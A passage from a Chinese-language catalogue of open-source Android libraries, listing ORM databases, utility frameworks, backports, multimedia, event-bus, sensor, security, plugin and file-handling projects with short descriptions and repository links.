1. OkHttpFinal 一个对OkHttp封装的简单易用型HTTP请求和文件下载管理框架 项目地址:https://github.com/pengjianbo/OkHttpFinal Demo 地址:https://github.com/pengjianbo/OkHttpFinal #### 四、数据库 orm 工具包 orm 的 db 工具类,简化建表、查询、更新、插入、事务、索引的操作 1. greenDAO Android Sqlite orm 的 db 工具类 项目地址:https://github.com/greenrobot/greenDAO 文档介绍:http://greendao-orm.com/documentation/ 官网网址:http://greendao-orm.com/ 特点:(1) 性能佳 (2) 简单易用的 API (3) 内存小好小 (4) 库大小小 1. GreenDaoUpgradeHelper greenDAO的数据库升级帮助类,只需一行代码解决数据库升级 项目地址:https://github.com/yuweiguocn/GreenDaoUpgradeHelper 1. ActiveAndroid Android Sqlite orm 的 db 工具类 项目地址:https://github.com/pardom/ActiveAndroid 文档介绍:https://github.com/pardom/ActiveAndroid/wiki/_pages 1. Sprinkles Android Sqlite orm 的 db 工具类,比较显著的特点就是配合 https://github.com/square/retrofit 能保存从服务器获取的数据 项目地址:https://github.com/emilsjolander/sprinkles 文档介绍:http://emilsjolander.github.io/blog/2013/12/18/android-with-sprinkles/ 1. Realm 移动端的数据库,适用于 Phone、Tablet、Wearable,支持 ORM,线程安全、支持连表及数据库加密,比 SQLite 性能更好 项目地址:https://github.com/realm/realm-java 文档介绍:http://realm.io/docs/java/0.72.0/ 1. ormlite-android 项目地址:https://github.com/j256/ormlite-android 文档介绍:http://ormlite.com/sqlite_java_android_orm.shtml 1. Schematic 根据 SQLite 生成 ContentProvider 项目地址:https://github.com/SimonVT/schematic 1. DBFlow Android SQLite ORM 工具库。综合了 Active Android, Schematic, Ollie,Sprinkles 等库的优点;通过注解实现,性能好;能生成 ContentProvider。 项目地址:https://github.com/Raizlabs/DBFlow 文档介绍:https://github.com/Raizlabs/DBFlow#usage-docs 1. SnappyDB SnappyDB是一个key-value数据库,非常流行的NoSQL数据库。 项目地址:https://github.com/nhachicha/SnappyDB 演示Demo:https://play.google.com/store/apps/details?id=com.snappydb.snippets.app 性能对比图: ![Renderings](https://camo.githubusercontent.com/0f6193a1f84aa8a77d07ac18d3566b87bc89999b/687474703a2f2f736e6170707964622e636f6d2f696d672f62656e63686d61726b5f73716c6974655f776974685f7472616e73616374696f6e2e706e67) #### 五、Android 公共库 1. Guava Google 的基于 java1.6 的类库集合的扩展项目,包括 collections, caching, primitives support, concurrency libraries, common annotations, string processing, I/O 等等. 这些高质量的 API 可以使你的 JAVa 代码更加优雅,更加简洁 项目地址:https://code.google.com/p/guava-libraries/ 文档介绍:https://code.google.com/p/guava-libraries/wiki/GuavaExplained 1. AndroidCommon Android 公共库 项目地址:https://github.com/Trinea/AndroidCommon Demo 地址:https://play.google.com/store/apps/details?id=cn.trinea.android.demo 文档介绍:https://www.trinea.cn/android/android-common-lib/ 包括:a. ImageCache 图片缓存,包含内存和 Sdcard 缓存 https://www.trinea.cn/android/android-imagecache/ 特点:(1)支持预取新图片,支持等待队列 (2)包含二级缓存,可自定义文件名保存规则 (3)可选择多种缓存算法(FIFO、LIFO、LRU、MRU、LFU、MFU 等 13 种)或自定义缓存算法 (4)可方便的保存及初始化恢复数据 (5)支持不同类型网络处理 (6)可根据系统配置初始化缓存等 1. HttpCache Http 缓存 文档介绍:https://www.trinea.cn/android/android-http-cache 特点是:(1) 根据 cache-control、expires 缓存 http 请求 (2) 支持同步、异步 Http 请求 (3) 在匿名回调中处理请求结果 (4) 在 UI 线程外进行 http 请求 (5) 默认 gzip 压缩 (2) 公共 View(下拉及底部加载更多 ListView、底部加载更多 ScrollView、滑动一页 Gallery) (3) Android 常用工具类(网络、下载、Android 资源操作、shell、文件、Json、随机数、Collection 等等) 1. DropDownListView 下拉刷新及滑动到底部加载更多 ListView 文档介绍:https://www.trinea.cn/android/dropdown-to-refresh-and-bottom-load-more-listview/ 1. shipfaster 整合了 Dagger Otto Retrofit Robolectric Picasso OkHttp,方便快速开发 项目地址:https://github.com/pyricau/shipfaster 1. CleanAndroidCode 整合了 Dagger Otto AndroidAnnotations,方便快速开发 项目地址:https://github.com/pyricau/CleanAndroidCode 1. xUtils 基于 Afinal,包含 DbUtils、ViewUtils、HttpUtils、BitmapUtils 四大模块,可用于快速开发 项目地址:https://github.com/wyouflf/xUtils 原理剖析文档:[xUtils](https://a.codekk.com/detail/Android/Caij/xUtils 源码解析) 1. Afinal Afinal 是一个 android 的 ioc,orm 框架,内置了四大模块功能:FinalAcitivity,FinalBitmap,FinalDb,FinalHttp。通过 finalActivity,我们可以通过注解的方式进行绑定 ui 和事件。通过 finalBitmap,我们可以方便的加载 bitmap 图片,而无需考虑 oom 等问题。通过 finalDB 模块,我们一行代码就可以对 android 的 sqlite 数据库进行增删改查。通过 FinalHttp 模块,我们可以以 ajax 形式请求 http 数据 项目地址:https://github.com/yangfuhai/afinal 官网网址:http://www.afinal.org 1. UltimateAndroid UltimateAndroid 是一个快速开发 Android 应用的框架,框架目前主要包含的功能有 View Injection,ORM,异步网络请求和图片加载,自动化脚本测试,磁盘 LRU 等功能.同时提供了类似于 TripleDes、Webview 快速设置、Md5 处理、String 处理,Https 处理等常用工具类,还有超过 100 多种 UI 控件效果。 项目地址:https://github.com/cymcsg/UltimateAndroid 官网网址:http://blog.marshalchen.com/UltimateAndroid/ 1. SAF SAF(Simple Android Framework)是一个简单的 android 框架,它为开发 Android app 提供了基础性组件。 项目地址:https://github.com/fengzhizi715/SAF 官网网址:http://www.salesuite.cn/ 包括:(1)Event Bus(事件总线) (2) Rest Client(http 的框架) (3) Image Cache(图片缓存) (4) Dependency Injection(依赖注入) (5) Sqlite ORM(sqlite 的 orm) (6) Router(Activity、Fragment 的 Router) (7) Utils(各种常用的工具类) 1. Barber Custom View 神器。通过简单的注解帮助你大大减少 Custom View 中的代码量。由于和 ButterKnife 一样使用了 Annotation Proccessor ,所以对程序性能没有影响。 项目地址:https://github.com/hzsweers/barber 1. device-year-class A library that analyzes an Android device's specifications and calculates which year the device would be considered "high end”.(facebook 开发的检测手机主流配置工具) 项目地址:https://github.com/facebook/device-year-class 1. RxAndroid 对RxJava在Android上的扩展,使得Android上也很容易实现reactive components,简化线程操作,从而写出很漂亮的代码。 项目地址:https://github.com/ReactiveX/RxAndroid 文档介绍:[给Android 开发者的 RxJava 详解](http://gank.io/post/560e15be2dca930e00da1083) 1. MultiImageSelector 一个本地图片选择器,支持图片的单选和多选,直接返回所选图片的路径。 项目地址:https://github.com/lovetuzitong/MultiImageSelector.git #### 六、Android 高版本向低版本兼容 1. Nine Old Androids 将 Android 3.0(Honeycomb)所有动画 API(ObjectAnimator ValueAnimator 等)兼容到 Android1.0 项目地址:https://github.com/JakeWharton/NineOldAndroids 原理剖析文档:[Nine Old Androids](https://a.codekk.com/detail/Android/Mr.Simple/NineOldAnimations 源码解析) Demo 地址:https://play.google.com/store/apps/details?id=com.jakewharton.nineoldandroids.sample 文档介绍:http://nineoldandroids.com/ 1. HoloEverywhere 将 Android 3.0 的 Holo 主题兼容到 Android2.1++ 项目地址:https://github.com/Prototik/HoloEverywhere Demo 地址:https://raw.github.com/Prototik/HoloEverywhere/repo/org/holoeverywhere/demo/2.1.0/demo-2.1.0.apk 文档介绍:http://android-developers.blogspot.com/2012/01/holo-everywhere.html 1. SherlockNavigationDrawer 将 Android NavigationDrawer 和 ActionbarSherlock 结合,解决 4.0 以下 NavigationDrawer 的适配问题 项目地址:https://github.com/tobykurien/SherlockNavigationDrawer 文档介绍:http://developer.android.com/training/implementing-navigation/nav-drawer.html 1. Notifications4EveryWhere 将 Android 4.1 的 Notification 兼容到 Android2.2++ 项目地址:https://github.com/youxiachai/Notifications4EveryWhere 1. Android Switch Widget Backport 将 Android Switch 和 SwitchPreference 的兼容到 Android2.1++ 项目地址:https://github.com/BoD/android-switch-backport Demo 地址:https://play.google.com/store/apps/details?id=org.jraf.android.backport.switchwidget.sample 文档介绍:https://github.com/BoD/android-switch-backport#using-the-switch 1. android-datepicker 将 Android 4.0 的 datepicker 兼容到 Android2.2++ 项目地址:https://github.com/SimonVT/android-datepicker 1. Transitions Everywhere Android 4.4 的 Transitions API 兼容到 Android 2.2 以上 项目地址:https://github.com/andkulikov/transitions-everywhere 1. KShareViewActivityManager 一个兼容Android 5.0 以下Shared Element Transition (页面间共享元素位移动画)库 项目地址:https://github.com/kot32go/KShareViewActivityManager 效果图:http://i8.tietuku.com/aa5726b8302ae711.gif #### 七、多媒体相关 1. cocos2d-x 跨平台的 2d 游戏框架,支持 Android、IOS、Linux、Windows 等众多平台 项目地址:https://github.com/cocos2d/cocos2d-x 文档介绍:http://www.cocos2d-x.org/wiki 官网网址:http://www.cocos2d-x.org/ 1. JustWeEngine Android的轻量级游戏框架,能大大缩减编写原生游戏的代码量和难度,仍在持续更新中。 项目地址: https://github.com/lfkdsk/JustWeEngine Demo地址: https://github.com/lfkdsk/EngineDemo 1. Vitamio 是一款 Android 与 iOS 平台上的全能多媒体开发框架 项目地址:https://github.com/yixia/VitamioBundle 网站介绍:http://www.vitamio.org/docs/ 特点:(1) 全面支持硬件解码与 GPU 渲染 (2) 能够流畅播放 720P 甚至 1080P 高清 MKV,FLV,MP4,MOV,TS,RMVB 等常见格式的视频 (3) 在 Android 与 iOS 上跨平台支持 MMS, RTSP, RTMP, HLS(m3u8)等常见的多种视频流媒体协议,包括点播与直播。 1. VDPlayerSDK 最容易集成的开源播放器组件,支持直播,支持软硬解切换,支持清晰度切换 项目地址:https://github.com/SinaVDDeveloper/ Demo 地址:https://github.com/SinaVDDeveloper/demo 文档介绍:https://github.com/SinaVDDeveloper/sinavideo_playersdk 特点: (1) 使用自定义控件方式提供播放器UI,不需要视频相关知识,能编写android应用就能使用 (2) 软硬解切换、点播直播支持 (3) 解码内核小于4M,更方便集成到非专业视频app中 (4) 修正一些vitaimio的问题,比如m3u8可以拖动等等 1. VideoPlayerManager 帮助实现VideoPlayer控制,使得它更容易使用ListView和recyclerview。它还可以跟踪滚动列表中可见的项。当列表中的新项可见域最大时,该库给出了接口来跟踪它。 项目地址:https://github.com/danylovolokh/VideoPlayerManager 文档介绍:https://medium.com/@v.danylo/implementing-video-playback-in-a-scrolled-list-listview-recyclerview-d04bc2148429#.hs5n0geqn 1. UniversalVideoView Android上定义播放器控件,支持自定义控制UI, 全屏播放, 重力感应自动切换横竖屏. 项目地址:https://github.com/linsea/UniversalVideoView ![Sample Screenshot 1](https://github.com/linsea/UniversalVideoView/raw/master/screenshot/screen1.png) ![Sample Screenshot 2](https://github.com/linsea/UniversalVideoView/raw/master/screenshot/screen2.png) 1. PhotoProcessing 利用 ndk 处理图片库,支持 Instafix、Ansel、Testino、XPro、Retro、BW、Sepia、Cyano、Georgia、Sahara、HDR、Rotate(旋转)、Flip(翻转)等各种特效 项目地址:https://github.com/lightbox/PhotoProcessing Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/photo-processing.apk?raw=true 1. Android StackBlur 图片模糊效果工具类 项目地址:https://github.com/kikoso/android-stackblur Demo 地址:https://github.com/kikoso/android-stackblur/blob/master/StackBlurDemo/bin/StackBlurDemo.apk?raw=true 文档介绍:https://github.com/kikoso/android-stackblur#usage 1. Bitmap Smart Clipping using OpenCV 图片智能裁剪保留重要部分显示 项目地址:https://github.com/beartung/tclip-android 利用淘宝的 http://code.taobao.org/p/tclip/ 库完成 一淘玩客正在使用的图片裁剪,自动识别图片中的重要区域,并且在图片裁剪时保留重要区域 特点:(1). 能进行人脸识别。图片中有人脸,将自动视为人脸区域为重要区域,将不会被裁剪掉 (2).自动其它重要区域。如果图片中未识别出人脸,则会根据特征分布计算出重区域 1. Cropper 图片局部剪切工具,可触摸控制选择区域或旋转 项目地址:https://github.com/edmodo/cropper 文档介绍:https://github.com/edmodo/cropper/wiki 效果图:![Renderings](https://github-camo.global.ssl.fastly.net/e4fde77bf41d4a60b234b4e268e5cfa8c17d9b6f/687474703a2f2f692e696d6775722e636f6d2f334668735467666c2e6a7067) 1. uCrop Yalantis 出品的强大的图片裁剪库 ,支持缩放,旋转图片,支持各种比例的裁剪框 项目地址:https://github.com/Yalantis/uCrop 效果图:![Renderings](https://camo.githubusercontent.com/8577338af603bb6046e0ff06e2530cbbedd94d85/68747470733a2f2f6431337961637572716a676172612e636c6f756466726f6e742e6e65742f75736572732f3232313933352f73637265656e73686f74732f323437343239352f616e696d6174696f6e2e676966) 1. android-crop 图片裁剪 Activity 项目地址:https://github.com/jdamcd/android-crop 效果图:![Renderings](https://github.com/jdamcd/android-crop/raw/master/screenshot.png) 1. TileView 可分块显示大图,支持 2D 拖动、双击、双指放大、双指捏合 项目地址:https://github.com/moagrius/TileView Demo 地址:http://moagrius.github.io/TileView/TileViewDemo.apk 1. BlurEffectForAndroidDesign 图片模糊效果 项目地址:https://github.com/PomepuyN/BlurEffectForAndroidDesign 1. android-eye PC 端网页查看同一局域网内的手机摄像头内容,可以用来监控哦 项目地址:https://github.com/Teaonly/android-eye Demo 地址:https://play.google.com/store/apps/details?id=teaonly.droideye 1. libpng for Android PNG 图片的 jni 库,支持几乎 png 的所有特性 项目地址:https://github.com/julienr/libpng-android 文档介绍:http://www.libpng.org/pub/png/libpng.html 1. android-gpuimage 基于 GPU 的图片滤镜 项目地址:https://github.com/CyberAgent/android-gpuimage 1. AndroidFaceCropper 图片脸部自动识别,将识别后的局部图片返回 项目地址:https://github.com/lafosca/AndroidFaceCropper 1. Android Video Crop 利用 TextureView 播放和剪切视频,类似 ImageView.setScaleType 项目地址:https://github.com/dmytrodanylyk/android-video-crop Demo 地址:https://github.com/lafosca/AndroidFaceCropper/releases/download/1.0/FaceCropper-sample-debug-unaligned.apk 1. svg-android Android Svg 矢量图形支持 项目地址:https://github.com/japgolly/svg-android https://github.com/japgolly/svg-android 1. Android Visualizer 从 Android MediaPlayer 获得音频,然后像 iTunes 及 WinAmp 一样展示音轨 项目地址:https://github.com/felixpalmer/android-visualizer 1. ExoPlayer 包括仪表板和 SmoothStreaming 自适应回放,缓存持久化和自定义渲染器,方便自定义和扩展,并且可以通过应用商店更新 项目地址:https://github.com/google/ExoPlayer 1. DanmakuFlameMaster android 上开源弹幕解析绘制引擎项目 项目地址:https://github.com/ctiao/DanmakuFlameMaster 1. OpenDanmaku android 上一个轻量级的更简单的开源弹幕控件 项目地址:https://github.com/linsea/OpenDanmaku 1. K-Sonic 一个基于Sonic的变音Demo,可调节Speed,Pitch,Rate. 项目地址:https://github.com/jcodeing/K-Sonic Demo 地址:[Download here](https://raw.githubusercontent.com/jcodeing/K-Sonic/master/K-Sonic-demo.apk) 1. KMedia 一个为Android打造的应用级媒体框架, 它可以助你快速搭建媒体应用. 内部重新定义Android MediaPlayer API并对其封装, 简化和扩展一些原生API不支持的功能. 其中涵盖了, `AB播放/循环` `位置单元/间隔/循环` `变速播放` `媒体队列管理` `媒体服务/绑定` `音频后台/通知栏控制` `媒体按键自定义处理` `音频焦点管理` `媒体引擎切换/扩展`... 等功能的快速实现. 以及, 对视频播放实现方面的封装. 其中将视频视图主要分为: 绘制层 控制组 控制层, 三个部分. 从而能够快速并灵活的实现Video相关应用的大部分功能, 包括 `视频浮窗/拖动/调整位置大小` `横竖屏自动切换` `全屏锁定` `手势调整亮度/音量/进度` `字幕/切换/拖动` `视频段落/间隔复读` `视频续集/列表/循环播放` `动态切换视频控制层` `控制层分离`... 等功能的快速实现. 项目地址:https://github.com/jcodeing/KMedia →项目模块:[KMedia-Core](https://github.com/jcodeing/KMedia-Core) & [KMedia-Uie](https://github.com/jcodeing/KMedia-Uie) & [KMedia-Exo](https://github.com/jcodeing/KMedia-Exo) ![Demo-Gif-1](https://raw.githubusercontent.com/jcodeing/raw/raw/gif/km_d_sr_1_270.gif)![Demo-Gif-2](https://raw.githubusercontent.com/jcodeing/raw/raw/gif/km_d_ui_270.gif)![Demo-Gif-3](https://raw.githubusercontent.com/jcodeing/raw/raw/gif/km_d_sr_2_270.gif) #### 八、事件总线(订阅者模式) 通过发布/订阅事件解耦事件发送和接受,从而简化应用程序组件(Activities, Fragments 及后台线程)之间的通信 1. EventBus greenrobot 的开源项目 项目地址:https://github.com/greenrobot/EventBus 原理剖析文档:[EventBus](https://a.codekk.com/detail/Android/Trinea/EventBus 源码解析) 文档介绍:https://github.com/greenrobot/EventBus#general-usage-and-api 特点:(1) 支持在不同类型的线程中处理订阅,包括发布所在线程,UI 线程、单一后台线程、异步线程 (2) 支持事件优先级定义,支持优先级高的订阅者取消事件继续传递,支持粘性事件,是不是跟系统的有序广播、粘性广播很像啊 (3) 不是基于 annotations (4) 性能更优 (5) 体积小 (6) 支持单例创建或创建多个对象 (7) 支持根据事件类型订阅 1. Otto Square 的开源项目,基于 Guava 的 Android 优化 项目地址:https://github.com/square/otto 文档介绍:http://square.github.io/otto/ [EventBus 与 Otto 的功能及性能对比文档](https://github.com/greenrobot/EventBus#comparison-with-squares-otto) [EventBus 与 Otto 性能对比 Demo Apk](https://play.google.com/store/apps/details?id=de.greenrobot.eventperf) #### 九、传感器 1. Great Android Sensing Toolkit Android 感应器工具包,包含示例及使用过程中可能需要的算法 项目地址:https://github.com/gast-lib/gast-lib Demo 地址:https://play.google.com/store/apps/details?id=root.gast.playground 文档介绍:https://github.com/gast-lib/gast-lib#documentation 1. SensorManager Android 传感器管理 项目地址:https://github.com/nlathia/SensorManager 文档介绍:https://docs.google.com/document/d/1TqThJULb-4e6TGb1gdkAaPCfyuXStjJpbnt7a0OZ9OE/edit 1. GPSLogger 记录 GPS 信息 项目地址:https://github.com/mendhak/gpslogger Demo 地址:https://play.google.com/store/apps/details?id=com.mendhak.gpslogger 文档介绍:http://code.mendhak.com/gpslogger/ 1. Pedometer 计步器,使用硬件计步感应器 项目地址:https://github.com/j4velin/Pedometer 1. leapcast ChromeCast 模拟器的 App 项目地址:https://github.com/dz0ny/leapcast 1. Arduino-Communicator 与 Arduino 通信的 App 项目地址:https://github.com/jeppsson/Arduino-Communicator 1. android-pedometer Android 计步器 项目地址:https://github.com/bagilevi/android-pedometer Demo 地址:http://pedometer.googlecode.com/files/Pedometer-1.4.apk 1. OwnTracks for Android 自己的轨迹记录 项目地址:https://github.com/owntracks/android 1. Shake Detector library for Android Android 手机震动摇晃检测库,提供供 UI 线程调用的回调接口 项目地址:https://github.com/tbouron/ShakeDetector Demo 地址:https://play.google.com/store/apps/details?id=com.github.tbouron.shakedetector.example 1. Android heart rate monitor Android 心跳检测 项目地址:https://github.com/phishman3579/android-heart-rate-monitor 1. Bluetooth LE Library for Android 蓝牙源信息,包括宝库 Mac、更新时间、RSSI、UUID、信号源距离、影响范围等信息 项目地址:https://github.com/alt236/Bluetooth-LE-Library---Android Demo 地址:https://play.google.com/store/apps/details?id=uk.co.alt236.btlescan 1. farebot 通过 NFC 从公交卡中读取数据的一个应用 项目地址:https://github.com/codebutler/farebot #### 十、安全 1. SQLCipher Sqlite 加密工具 项目地址:https://github.com/sqlcipher/sqlcipher 文档介绍:http://sqlcipher.net/sqlcipher-for-android/ 1. Conceal 快速高效的进行文件加密解密 项目地址:https://github.com/facebook/conceal 文档介绍:https://github.com/facebook/conceal#usage 1. Android-PasscodeLock 应用锁,每次启动或从任何 Activity 启动应用都需要输入四位数字的密码方可进入 项目地址:https://github.com/wordpress-mobile/Android-PasscodeLock Demo 地址:https://play.google.com/store/apps/details?id=org.wordpress.android APP 示例:Wordpress Android,支付宝,挖财 1. GlowPadBackport 将 Android4.2 的锁屏界面解锁扩展到 Android1.6 及 1.6+ 项目地址:https://github.com/rock3r/GlowPadBackport Demo 地址:https://play.google.com/store/apps/details?id=net.sebastianopoggi.samples.ui.GlowPadSample 效果图:![Renderings](https://lh6.ggpht.com/U070b6Lh6cVsVwx4jN-5nq0xqiB1PBzrYABPeJIEe2hZQ5UWOxc-FDUG77wADelToHA=h310-rw) 1. GlowPadView Android 4 锁屏界面解锁 项目地址:https://github.com/nadavfima/GlowPadView 效果图:![Renderings](https://raw.github.com/nadavfima/GlowPadView/master/example.png) 1. Android-InsecureBank 关于 Android 不安全性的示例 项目地址:https://github.com/dineshshetty/Android-InsecureBankv2 #### 十一、插件化 更多见:[Android 插件化作用、概念以及不错的资料(包括开源项目)和解决方案](https://www.trinea.cn/android/android-plugin/) 1. dynamic-load-apk Android 动态加载 Apk,热部署,利用 ClassLoader 以及 Activity 代理的方式解决 项目地址:https://github.com/singwhatiwanna/dynamic-load-apk 原理剖析文档:[dynamic-load-apk](https://a.codekk.com/detail/Android/FFish/DynamicLoadApk 源码解析) 文档介绍:http://blog.csdn.net/singwhatiwanna/article/details/22597587 1. Android Dynamic Loader 点评的实现方式,和上面不同的是:他不是用代理 Activity 的方式实现而是用 Fragment 以及 Schema 的方式实现 项目地址:https://github.com/mmin18/AndroidDynamicLoader Demo 地址:https://github.com/mmin18/AndroidDynamicLoader/raw/master/host.apk 1. xCombine Android App 插件式插件开发,插件必须先安装,更推荐看上面两个开源项目 项目地址:https://github.com/wyouflf/xCombine 文档介绍:http://my.oschina.net/u/1171837/blog/155377 1. Android Plugin Framework Android 插件式开发,开放的源码目前不完整 项目地址:https://github.com/umeng/apf 1. Android OpenAtlas Android插件框架,基于OSGI,非代理方式,组件需要在宿主中声明 项目地址:https://github.com/bunnyblue/OpenAtlas Demo 地址:https://github.com/bunnyblue/OpenAtlasExtension/blob/master/Dist/OpenAtlasLauncher.apk 1. multidex 安装多 dex 的 classloader 项目地址:https://github.com/casidiablo/multidex 1. ANR-WatchDog Android ANR 监听,通过监听自己的 UI Thread 是否被执行确定是否发生了 ANR,并可以设置相关事件 项目地址:https://github.com/SalomonBrys/ANR-WatchDog #### 十二、文件 对不同文档类型的处理,包括 PDF、Word、EPub、Html、Zip 等 1. purePDF 允许从任何运行的 SWF 文件读取和创建 PDF 文档 项目地址:https://github.com/sephiroth74/purePDF 1. android-pdfview 快速解析 pdf 的 view,默认支持手势缩放和相关动画 项目地址:https://github.com/JoanZapata/android-pdfview 1. Office 365 SDK for Android Preview 可支持 Microsoft SharePoint Lists, Microsoft SharePoint Files, Microsoft Exchange Calendar, Microsoft Exchange Contacts, Microsoft Exchange Mail 项目地址:https://github.com/OfficeDev/Office-365-SDK-for-Android 1. OpenSpritz-Android EPub 阅读器 项目地址:https://github.com/OnlyInAmerica/OpenSpritz-Android 1. jsoup 一个解析 html 的 java 库,可方便的提取和操作数据 项目地址:https://github.com/jhy/jsoup 官网网址:http://jsoup.org/ 作用:(1) 从一个 url、文件或 string 获得 html 并解析 (2) 利用 dom 遍历或 css 选择器查找、提取数据 (3) 操作 html 元素 (4) 根据白名单去除用于提交的非法数据防止 xss 攻击 (5) 输出整齐的 html 1. ZIP java 压缩和解压库 项目地址:https://github.com/zeroturnaround/zt-zip 文档介绍:https://github.com/zeroturnaround/zt-zip#examples 作用:(1) 解压和压缩,并支持文件夹内递归操作 (2) 支持包含和排除某些元素 (3) 支持重命名元素 (4) 支持遍历 zip 包内容 (5) 比较两个 zip 包等功能 1. Image File Selector 轻量级的图片文件选择器,用系统api选取,压缩和裁切图片,可以方便的得要指定尺寸的图片 项目地址:https://github.com/sw926/ImageFileSelector #### 十三、其他 1. FragmentStack 一个封装了启动模式的Fragment便捷使用库,方便构建单Activity+多Fragment轻量级框架 项目地址:https://github.com/Mr-wangyong/FragmentStack 效果图:https://github.com/Mr-wangyong/FragmentStack/blob/master/play.gif App示例:[南瓜电影](http://www.wandoujia.com/apps/cn.vcinema.cinema) 1. CustomTabsHelper 快速集成 CustomTabs 的工具类 项目地址:https://github.com/DreaminginCodeZH/CustomTabsHelper 1. EffortlessPermissions 基于 Google EasyPermissions 进行扩展的动态权限库 项目地址:https://github.com/DreaminginCodeZH/EffortlessPermissions 1. Salvage view 带 View 缓存的 Viewpager PagerAdapter,很方便使用 项目地址:https://github.com/JakeWharton/salvage 1. Android Priority Job Queue Android 后台任务队列 项目地址:https://github.com/path/android-priority-jobqueue 文档介绍:https://github.com/path/android-priority-jobqueue#getting-started 1. Cobub Razor 开源的 mobile 行为分析系统,包括 web 端、android 端,支持 ios 和 window phone 项目地址:https://github.com/cobub/razor Demo 地址:http://demo.cobub.com/razor 官网网址:http://dev.cobub.com/ 1. Countly Android 移动端数据采集分析系统 项目地址:https://github.com/Countly/countly-sdk-android 官网网址:https://count.ly/ 1. aFileChooser 文件选择器,可内嵌到程序中,而无需使用系统或三方文件选择器。 项目地址:https://github.com/iPaulPro/aFileChooser 1. androidpn 基于 xmpp 协议的消息推送解决方案,包括服务器端和 android 端。 项目地址:https://github.com/dannytiehui/androidpn 1. Bolts Android 的异步编程模式 项目地址:https://github.com/BoltsFramework/Bolts-Android/ 与 AsyncTask 比较:(1) 使用的是无大小限制的线程池 (2) 任务可组合可级联,防止了代码耦合 1. CastCompanionLibrary-android 使 Android 程序中更快的接入 Google Cast 项目地址:https://github.com/googlecast/CastCompanionLibrary-android 文档介绍:https://developers.google.com/cast/ 1. CastVideos-android 从 Android 设备分享 Video 通过 Google Cast 项目地址:https://github.com/googlecast/CastVideos-android 文档介绍:https://developers.google.com/cast/ 1. Uninstall_Statics Android 应用自身被卸载监听及打开浏览器等反馈功能实现 项目地址:https://github.com/sevenler/Uninstall_Statics 文档介绍:http://www.cnblogs.com/zealotrouge/p/3157126.html http://www.cnblogs.com/zealotrouge/p/3159772.html 1. Memento 保证在系统配置改变时,Activity 中的某些数据可以简单安全的保持不变 项目地址:https://github.com/mttkay/memento 文档介绍:https://github.com/mttkay/memento#usage 1. FreeFlow 布局引擎,更简单的创建自定义布局,并且当数据和布局改变时更美观的过渡动画 项目地址:https://github.com/Comcast/FreeFlow Demo 地址:https://github.com/Comcast/FreeFlow/releases 1. Android Gesture Detectors Framework Android 手势框架,支持双指旋转、移动、平移、缩放等 项目地址:https://github.com/Almeros/android-gesture-detectors 1. Mapbox Android SDK Android Map 的替代版 项目地址:https://github.com/mapbox/mapbox-android-sdk 1. Activity animation Activity 跳转动画,支持各个方向波浪的效果 项目地址:https://github.com/flavienlaurent/activityanimation 在线演示:https://www.youtube.com/watch?v=-E0sc6w_Jck 1. KryoNet 通过 NIO 提供客户端和服务器端 TCP/UDP 网络传输的 Java 库 项目地址:https://github.com/EsotericSoftware/kryonet 1. Rebound 一个模仿弹簧反弹的 Java 库,可用于创建动画 项目地址:https://github.com/facebook/rebound 1. Android Social Networks 社交网络接入统一管理器,可方便的从 Twitter, LinkedIn, Facebook, Google Plus 登陆、获得个人信息、发送消息、发送专篇、添加或删除好友 项目地址:https://github.com/antonkrasov/AndroidSocialNetworks Demo 地址:https://play.google.com/store/apps/details?id=com.github.androidsocialnetworks.apidemos 1. SmartAppUpdates Android App 增量升级,包含前后端方案、Demo、以及 so 库,可用于商店或大体积 App 差分升级 项目地址:https://github.com/cundong/SmartAppUpdates 1. Magnet 创建类似 Facebook 聊天桌面悬浮窗的效果 项目地址:https://github.com/premnirmal/Magnet 1. AcDisplay 将 Android 的通知都集中到锁屏显示 项目地址:https://github.com/AChep/AcDisplay Demo 地址:https://play.google.com/store/apps/details?id=com.achep.acdisplay 1. QrCodeScan ZXing 和 ZBar 结合的二维码扫描项目,提高了扫描效率 项目地址:https://github.com/SkillCollege/QrCodeScan 效果图:![Renderings](http://www.eoeandroid.com/data/attachment/forum/201405/09/124538vteuz4leptgg1te6.png) 1. Android-ScreenShot 实现 android 系统截屏功能 项目地址:https://github.com/Android-ScreenShot/AndroidScreenShotService 文档介绍:http://blog.csdn.net/buptgshengod/article/details/39155979 1. card.io SDK for Android 信用卡扫描 Android SDK 项目地址:https://github.com/card-io/card.io-Android-SDK Demo 项目:https://github.com/card-io/card.io-Android-SDK/tree/master/SampleApp 1. ASNE Twitter, Facebook, Google Plus, LinkedIn, Instagram, Vkontakte, Odnoklassniki 的集成库,包括他们的大多数功能 项目地址:https://github.com/gorbin/ASNE Demo 地址:https://play.google.com/store/apps/details?id=com.gorbin.androidsocialnetworksextended.asne 1. Android Signature Pad Android 自定义的签名 View,可自定义笔颜色和大小 项目地址:https://github.com/gcacace/android-signaturepad Demo 项目:https://github.com/gcacace/android-signaturepad/tree/master/SignaturePad-Example 1. Teleport Android Wear 数据同步和消息传送库 项目地址:https://github.com/Mariuxtheone/Teleport 1. DebugLog 可以帮你创建更简单和更容易理解的调试日志,能够友好的显示调试信息所在类和函数。 项目地址:https://github.com/MustafaFerhan/DebugLog 效果图:![Renderings](https://camo.githubusercontent.com/37deffede9f9b185886da48e96a4829ebd407260/68747470733a2f2f7261772e6769746875622e636f6d2f4d75737461666146657268616e2f44656275674c6f672f6d61737465722f44656275674c6f672d44656d6f2f6173736574732f7373322e6a7067) 1. Logger 简单、美观而且十分强大的 Android 日志工具 项目地址:https://github.com/orhanobut/logger Demo 地址:https://github.com/orhanobut/logger/tree/master/app 效果图:![Renderings](https://github.com/orhanobut/logger/blob/master/images/description.png) 1. jlog 可以灵活配置的日志工具,支持JSON打印,日志保存到指定文件,日志显示调用位置(混淆模式下依然有效) 项目地址:https://github.com/JiongBull/jlog Demo 地址:[apk地址](https://raw.githubusercontent.com/JiongBull/jlog/master/apk/JLog_sample.apk) 效果图:![Renderings](http://7xize8.com1.z0.glb.clouddn.com/jlog_sample.gif) 1. Phrase square 组开源大牛写的字符串替换类 项目地址:https://github.com/square/phrase 1. ColorPhrase 模仿 phrase 写的对字符串个别字符颜色改变的类,高效强大! 项目地址:https://github.com/THEONE10211024/ColorPhrase 效果图:![Renderings](https://github.com/THEONE10211024/ColorPhrase/blob/master/screenshot/Screenshot_2015-05-16-18-12-23.jpeg) 1. PinyinSearch 一个为 T9 搜索和 Qwerty 搜索,提供数据解析与匹配等方法的拼音搜索 java 库。 项目地址: https://github.com/handsomezhou/PinyinSearchLibrary Demo 地址: 